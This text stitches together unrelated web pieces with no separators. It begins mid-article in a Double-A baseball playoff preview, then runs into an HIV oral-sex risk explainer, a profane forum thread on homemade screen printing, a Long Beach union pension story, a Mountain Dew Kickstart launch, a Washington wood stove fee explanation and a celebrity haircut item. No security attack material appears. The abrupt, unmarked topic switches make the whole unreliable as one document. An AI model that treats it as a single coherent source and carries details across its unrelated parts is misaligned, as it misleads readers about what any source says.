The University of Florida product hadn't played a professional game when Jackson clinched its spot in the postseason, but he may be the key man in this series. After dominating the Northwest League in 29 games there, Zunino had a quick transition to Double-A in mid-August, producing a three-hit game in his third time in the Generals lineup and then hitting a home run in each of his next two games. In the semifinal series against Chattanooga, Zunino homered three times, including twice off top Dodgers prospect, Zach Lee, in a Game 2 win.
"Offensively, he's been a steadying force in the middle of the order," said manager Jim Pankovits. "He's been a very reliable RBI guy, puts on excellent at-bats and gets big hits."
When he's not hitting, he's usually catching, and he's had excellent pitchers to catch. Even though Maurer, the league's pitcher of the year, has been shut down since he reached his innings limit in August, the Generals befuddled Chattanooga for four games.
"Defensively, he's done a good job," added Pankovits on Zunino. "Even though he hadn't seen most of our pitchers pitch, he hit the ground running. He did a great job of game-calling and receiving and blocking. He's the total package."
Added Walker, "He's real good behind the plate -- he calls a good game. He's a big target too, and it makes it better for us pitchers."
Just as he did against Chattanooga, Pankovits will throw lefties in each of the first two games of the Finals. Paxton pitched six scoreless innings, striking out nine, in Game 1 vs. Chattanooga and will take the ball again on Tuesday. Teammate James Gillheeney, called up from High Desert in August, will pitch Game 2. Gillheeney allowed two runs on six hits without walking a batter in a Game 2 win.
"We've relied on our starters heavily," acknowledged Pankovits. "I think James Paxton really set the tone with the outing that he gave us in the first game of the playoffs. He did a great job of letting Chattanooga know that they would have to earn everything they got."
The series heads south to Mobile for Game 3 where the righty Walker gets the ball. Featuring a fastball in the mid- to upper-90s, Walker was effective against Chattanooga in Game 3, allowing one run on five hits in 7 1/3 innings, though he did walk four batters in what ended up being a tough-luck 1-0 loss.
"I felt like it was probably one of my best games this year," said Walker. "I had to battle -- they put the ball in play a lot. My defense made some plays behind me."
Anthony Fernandez, the winner of the clincher vs. Chattanooga, and Steve Garrison are set to get the ball, if necessary, in Game 4 and 5 respectively.
Mobile should provide a sterner test for Jackson's pitching. Chris Owings may be the key for the BayBears, though Mobile has a deep lineup. The D-backs' No. 5 prospect batted .438 with a home run and four RBIs vs. Montgomery. Owings' typical double-play partner, David Nick, also had a big series, leading the SL playoffs with a .533 average and five runs scored.
"I think that getting hot at the right time is always key, going into the playoffs," said Mobile manager Turner Ward, "But we're going to face some good pitching going into this series."
If the offense from Nick, just a .249 hitter during the season, was a pleasant surprise, Ward has come to expect big things from Matt Davidson. The D-backs' No. 4 prospect led the team vs. Montgomery with seven RBIs and added a home run while batting .308. Davidson -- a high-school teammate of Walker's in Yucaipa, Calif., was among the league leaders in nearly every offensive category this season, including finishing second in runs scored (81), fourth in home runs (23) and fourth in RBIs (76).
Mobile's pitching will be tested in what figures to be a low-scoring series. Though effective against Montgomery (2.61 ERA and 38 K's in four games), the BayBears were second to last on the circuit in ERA during the season, this despite allowing the second-fewest walks.
Mobile's rotation also remains unchanged from its semifinal series. D-backs' No. 19 prospect Chase Anderson pitches Game 1. With a 2.86 mark, the righty would have led the Southern League in ERA had he qualified. He allowed two runs on eight hits while fanning nine in five innings against the Biscuits.
"Chase Anderson was a kid who had Tommy John surgery last year and was limited this season, but he had a great season," said Ward.
Lefty David Holmberg, Arizona's No. 8 prospect, gets the ball in Game 2. Much like Walker in Game 4 for Jackson, Holmberg pitched well -- seven innings, one run allowed on four hits -- but watched his team lose, 2-1. Holmberg's 153 strikeouts between Visalia and Mobile tied for the 16th-most in the Minors.
Game 3 starter Bradin Hagens made just two starts for Mobile in the regular season, but fired seven scoreless innings in a Game 3 win vs. Montgomery.
Michael Bolsinger, the Game 4 starter if necessary, fanned nearly a batter per inning (113 strikeouts in 115 2/3 innings). Righty Derek Eitel (8-11, 4.37) is the scheduled starter should the series go the distance.
Beyond Zunino, Jackson's lineup is a free-swinging but productive one. Along with leading the league in home runs, it was first in average (.261), last in walks (473) and second in strikeouts (1,120). Corner man Nate Tenbrink had a homer and a .455 average in the semis, and with a .396 OBP, is one of the few patient hitters in the lineup.
Designated hitter Joe Dunigan was second in the SL in home runs with 25, but his inability to make contact -- he led the league with 175 strikeouts -- and his poor hitting vs. lefties -- .189 average -- limited him to 0-for-7 in the semis.
"It's making pitches," said Ward of his approach to Dunigan. "He's got a lot of swing and misses for the season. He's capable of doing damage at any time in the course of the game. He's like most hitters who will hit cripple pitches."
Free for all: The Generals announced Monday that they would not charge admission to Games 1 and 2 of the SL Finals. Pankovits indicated that the fan support in the semifinal series, where Jackson averaged about 2,000 fans per game, exceeded his expectations.
"I thought we had some great crowds with a lot of energy, and no doubt it contributed to us winning those two games at home," he said. "Typically in the playoffs when school has started, the crowds are down, but I think the front office has done a great job in promoting the playoffs."
First time for everything: Mobile is going for its second straight league title, whereas Jackson seeks its first title since it won as the West Tenn Diamond Jaxx in 2000 vs. Jacksonville. West Tenn last made the Finals in 2005, when Jacksonville avenged its defeat from five years earlier.
Damaging departures: Along with four-fifths of its starting rotation being promoted early in the season, Mobile suffered from the effects of a July 29 trade made by the Diamondbacks. The BayBears' most productive hitter, Marc Krauss, and power prospect Bobby Borchering were sent to the Astros in exchange for Chris Johnson. After the deal, Krauss homered five times in his first five games with Double-A Corpus Christi and ended the year first among all Double-A batters with a .423 OBP.

Oral Sex: What's the Real Risk for HIV?
June 17, 2015
Table of Contents
The chances of HIV being passed from one person to another depend on the type of contact. HIV is most easily spread, or transmitted, through unprotected anal sex, unprotected vaginal sex, and sharing injection drug equipment. Unprotected sex means sex in which no condoms or other barriers are used.
Oral sex has been shown to be less risky than these activities, but it is not risk-free. Oral sex involves contact between the mouth and the genitals. It includes giving or receiving licking, sucking, or biting of the vulva (vagina, clitoris, and labia, or "lips"), penis, or anus.
HIV is present in female sexual fluid (vaginal secretions), male sexual fluids ("cum" and "pre-cum"), and blood. HIV cannot be spread through saliva (spit). It is also possible to get other sexually transmitted diseases (STDs), such as syphilis, herpes, gonorrhea, and human papilloma virus (HPV) through oral sex.
Studies on the Risks of Oral Sex
Even though oral sex is a lower-risk activity for HIV, several reports show that people have become infected with HIV through oral sexual activity. A number of studies have tried to figure out the exact level of risk of oral sex, but it can be difficult to get accurate information. When HIV is spread, it is difficult to tell if it was the oral sex or another, more risky sexual activity that was responsible for spreading HIV. Other factors also increase the risk of oral sex, including having bleeding gums, mouth ulcers, gum disease, genital sores, and other STDs.
The take home message is that oral sex carries a small but real risk.

yea ive been using the filler, but you cant get crisp[ lines well.
i got some window cling shit, thats clear and you can print on so ima use that.
hey so i wanna get into screen printing and all but i dont know where to get the right equipment..
theres a beginer screen printing kit at michaels but it costs 250 dollars..and im definitely not buying that
so could anyone help me out with where to get some equipment?
Make it your self its not that hard. The most expensive thing is the emolsion.
dude, you could probably dumpster dive for everything you need cept emulsion and paint. just get some cardboard and shit, and get a screen and some duct tape, and your all set.
pm me if you wanna get in the Summer of '09 Slaps book.
Keenur take a deep breath of shut the fuck up
alright coool,,thats pretty much what i wanted to know cause there is no way i was gonna spend a whole bunch of money on this..
im gonna do some research on how to make a homemade one..
but could one of you guys explain how to make one?
yea ur not gunan find a screen in any dumpster, dont buy that kit heel no, but just go and buy a sceen for liek 10-20$, and then buy a squeegee and some ink for like 10-20$, and then some emulsion stuff or some screen filler
alright cool..im almost positive they sell the screen and squeegee seperately at the michaels i go to so ill try to buy them
thanks for the help
i have been using stencils instead of emulsion just cause i dont know how to use emulsion. anyone have tips on it or information on it?
its easy.
just buy the emulsion, teh sensitizer
then just spread the emulsion thinly on both sides, let it dry (do all of this in a dark place)
then once its dry, get some transparency paper, and draw ur image or print it on there
then put the transparency paper ontop of the screen, and put it under a light bulb for a certain amount of time(look up thw times online)
is there any spray i can use?
Hey guys,
I know I'm new to the forum and all that but I've got 5 years experiance doing printmaking, this serigraphy thing isn't that bad to start if your on a budget but it really does come down to if your serious, pay the money and go for the big stuff.
Making a screen out of framing wood from an art supply store, then stapling silk screen tight on the one side makes the easiest frame I find.
The problem with a screen like this is ink will leak under the sides if you didnt seal them off. Its not that bad a problem though as long as your image is smaller then the screen.
Acetate is very helpful for lining layers of a pic up. Mylar also works and if your really desperate, pretty much anything see thru and fairly solid works.
If you only have one layer to print and want every print after that to be in the same place just tape around the outside corners of your sticker and then print, remove the sticker off and line the new one up within the tape. Simple and no messing around with acetate.
I can go into more detail on things if you want me to, I also will try to get pics of my tags up in here as soon as I can actually get a camera :S
The other were full of bullshit talking. The first page has all the info you need, keep it that way. Fill this thread up with flicks, if you love wheatpaste so much, you should show us your pastes, not just your info. Any pointless talking will be deleted, if you have something you would like to share, we'll put it on the first page.

LONG BEACH - The city's largest employee union is expected to vote on a pension reform agreement in early January that contains retirement concessions but protects workers from layoffs, a labor spokesman said Wednesday.
Dave Sterling, a business representative with the International Association of Machinists and Aerospace Workers, said the approximately 3,600-member union could vote to amend the contract as soon as the week of Jan. 7. If the union consents to the changes, a vote of the City Council would follow before the deal's provisions are implemented.
The proposal could save the city millions of dollars as it projects further deficits in coming years that could lead to deeper cuts in services.
According to details revealed by the IAM, city management and union negotiators agreed to terms this month that are similar to earlier proposals that have been made public.
Current employees would pay 6 percent more of their salary toward pension costs, an increase from 2 percent to 8 percent, continue to receive 2.5 percent of their pay as pension for each year worked and be eligible to retire at age 55.
New hires would receive less, getting 2 percent of salary at retirement for each year worked while being able to retire at age 62. They would also pay 7 percent of their salary toward their pensions as a result of their reduced benefits.
Additionally, the city would commit to not laying off any more IAM members, who are the bulk of the city's nonpublic safety workers, and the union's contract would be extended one year, to Sept. 30, 2014.
Sterling said IAM leaders are endorsing the latest proposal after being neutral on an earlier city deal the union rejected in August in part because employees weren't insulated from layoffs.
"With this proposal, knowing this is the best collaborative deal we can reach with the city, we are endorsing this when we communicate this to our members," Sterling said.
The 5 percent remaining in the IAM's contract for a wage study that was not completed would be distributed equally among union members rather than through an arbitration process, according to the agreement.
IAM employees were scheduled to receive a 2 percent contractual raise Oct. 1, but labor representatives had agreed to delay the increase while officials worked on an accord.
City officials declined to comment on the negotiations Wednesday.
It was unclear how much the pending deal would save Long Beach, but the city's pension reform package offered in August was expected to save $3.9 million in the general fund and $12.2 million in all funds in the current fiscal year.
Mayor Bob Foster has pushed for a ballot measure next year lowering the salaries of nonpublic safety employees to 2010 levels if pension reform negotiations do not succeed.
Most other city unions, including the police and firefighter associations, have already agreed to pension reforms. The police and firefighter associations' agreements, which were approved last year, are projected to save the city $100 million by 2022.

PURCHASE, NY -- PepsiCo is rolling out Kickstart Mountain Dew, a fruit-flavored soda that it hopes to position as a morningtime alternative to coffee, tea and juice.
The line extension maintains Mountain Dew's signature taste, but is made with 5% juice, along with an extra jolt of caffeine. It comes in orange citrus and fruit punch flavors. Each16-fl.oz. can contains 80 calories.
Mountain Dew Kickstart contains 92mg. of caffeine per can, compared with 72mg. in regular Mountain Dew. Although it's got a "kick start," PepsiCo said its new drink is not an energy drink like Monster and Red Bull. Kickstart is lower in caffeine than PepsiCo's Amp energy drink, which has 142mg. in a 16-fl.oz. can.
Kickstart by Mountain Dew will be available nationwide beginning Feb. 25. Consumers can visit kickstartfirsttaste.com to request a can before then.

It is a fee paid by the consumer for the purchase of a solid fuel burning device (for example, a wood stove, a pellet stove, a coal stove, a manufactured fireplace, a masonry heater or any other device burning a solid fuel). When a used device is sold by a retailer, it is subject to the fee, even if the fee was paid when the device was originally sold.
A solid fuel burning device means any device for burning wood, coal, or any other nongaseous and non-liquid fuel. See RCW 70.94.453(5).
The fee is $30 for each solid fuel burning device.
Funds are used by the Department of Ecology and local air agencies to educate wood stove dealers and the public about 1) the effects of wood stove emissions on health and air quality, 2) methods of achieving better efficiency and emission performance from wood stoves, 3) devices that have been approved by Ecology and 4) the benefits of replacing inefficient stoves with stoves approved by Ecology.

Tamera Mowry-Housely cuts off her hair!
Goodbye long locks! Hello, curly girl! Tamera Mowry-Housley, co-host of talk show, The Real, is the latest star to get a makeover.
"This is happening right now," Tamera wrote on Monday, Jan. 13 along with a picture of her chopped locks on the floor of a salon. "Can't wait to show y'all." Several hours later, Mowry-Housley shared an Instagram picture of herself of her brand new 'do — complete with curls!
"Love my big chop…love my curl doctor @shaiamiel You did it again," she said. While it's not quite as drastic as the chops of Beyonce and Jennifer Hudson, we love this new 'do. In a new shot on Instagram, stylist Shai Amiel chopped the twin's locks have gone from medium in length to a cut that falls just below her ears. And instead of flat ironed tresses, the star is rocking her natural curls.
Along with her hair transformation, Mowry-Housley revealed last month that her Style Network reality series will not be returning for a fourth season. "Thank you for 3 amazing years of Tia and Tamera," she tweeted on Dec. 31. "Now… onto my new talk show The Real and some great things I can't wait to share with u."
Cant wait to see how she rocks the new 'do on the Real!
